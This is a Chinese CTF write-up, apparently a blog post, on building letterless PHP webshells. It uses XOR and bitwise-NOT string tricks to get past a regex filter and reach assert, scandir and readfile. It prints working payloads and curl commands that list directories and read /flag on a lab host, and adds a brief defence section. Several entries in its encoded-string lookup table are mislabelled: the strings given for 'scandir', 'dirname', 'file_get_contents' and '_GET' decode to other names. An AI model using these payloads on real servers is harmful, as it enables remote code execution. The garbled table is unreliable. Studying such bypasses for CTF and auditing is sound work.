无字符 WebShell:PHP 表达式构造与代码审计
文章状态:待复验
本文由 Lee 的 CSDN 原创学习记录迁移并重新整理。以下操作仅限自建环境、CTF 与明确授权靶场,请勿用于未授权目标。
学习目标
- 理解 PHP 字符串异或和可变变量的行为
- 分析黑名单过滤为何无法等价于安全控制
- 建立从输入点到危险函数的数据流审计思路
实验说明
- 难度:进阶
- 范围:本地或公开授权靶场
- 复验状态:正文已完成格式迁移,关键结论将在后续使用固定环境重新验证
原始实验记录
eg:[HUBUCTF 2022 新生赛]HowToGetShell,匹配条件过滤了所有的字母

考点一:无字幕webshell变量命名
我们的变量名通常设置为$_,$__,$___
考点二:可变变量$$
1 | <?php |
eg:不能直接用字母表达变量
1 | $__ = "_GET"; // $__ = "_GET" |
考点三:动态函数调用
php允许用字符串变量来调用函数
1 | <?php |
注:eval非函数不能动态调用,system、exec、shell_exec 都可
考点四:字符串异或运算
为什么要用异或?
assert 和 _GET 都有字母,不能直接写。
异或能用两个非字母字符生成一个字母,源码里全是符号,绕过检测。
常见:assert,get
1 | $_ = ('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); |
考点五:传参
mess 里不能有字母,所以真正的代码不能放里面
用 GET 参数 _ 传递真正的代码
1 | $_($___[_]); // assert($_GET['_']) |
用户请求:
1 | POST /?mess=...&_=phpinfo(); |
mess → 无字母payload(过正则)
_ → 真正执行的代码(传给assert)
然后我们回归这道题,首先用无字母方法取反构造字符串
1 | ~'%8F%97%8F%96%91%99%90%D7%D6' |
然后赋值
1 | // 第2步:赋值 |
Payload 2:列出根目录(成功找到 flag)
1 | curl -X POST "http://authorized-lab.local/" -d "mess=\$_=(~'%89%9E%8D%A0%9B%8A%92%8F');\$__=(~'%8C%9C%9E%91%9B%96%8D');\$_(\$__('/'));" |
1 | 拆解: |

~’%89%9E%8D%A0%9B%8A%92%8F’ = “scandir”
~’%8C%9C%9E%91%9B%96%8D’ = “dirname”
Payload 3:读取 flag 文件(成功拿到 flag)
1 | curl -X POST "http://authorized-lab.local/" -d "mess=\$_=(~'%8D%9A%9E%9B%99%96%93%9A');\$__=(~'%D0%99%93%9E%98');\$_(\$__);" |
1 | $_ = ~'%8D%9A%9E%9B%99%96%93%9A'; // 取反 → "file_get_contents" |
取反字符串速查表
|
目标字符串
|
取反后的 URL 编码
|
| — | — |
|
phpinfo()
|
%8F%97%8F%96%91%99%90%D7%D6
|
|
scandir
|
%89%9E%8D%A0%9B%8A%92%8F
|
|
dirname
|
%8C%9C%9E%91%9B%96%8D
|
|
file_get_contents
|
%8D%9A%9E%9B%99%96%93%9A
|
|
/flag
|
%D0%99%93%9E%98
|
|
_GET
|
%8F%9A%9E%9B%99%96%93
|
防御与复盘
- 避免执行来自用户输入的表达式,不使用 eval 等动态执行机制处理不可信数据。
- 使用明确的语法和参数白名单,而不是依赖字母或关键字黑名单。
- 结合静态分析、运行时审计和最小权限降低代码执行后的影响。
原文出处
- 标题: 无字符 WebShell:PHP 表达式构造与代码审计
- 作者: Lee
- 创建于 : 2026-08-01 10:22:47
- 更新于 : 2026-09-04 00:00:00
- 链接: https://leeei.site/2026/08/01/无字符WebShell与PHP代码审计/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。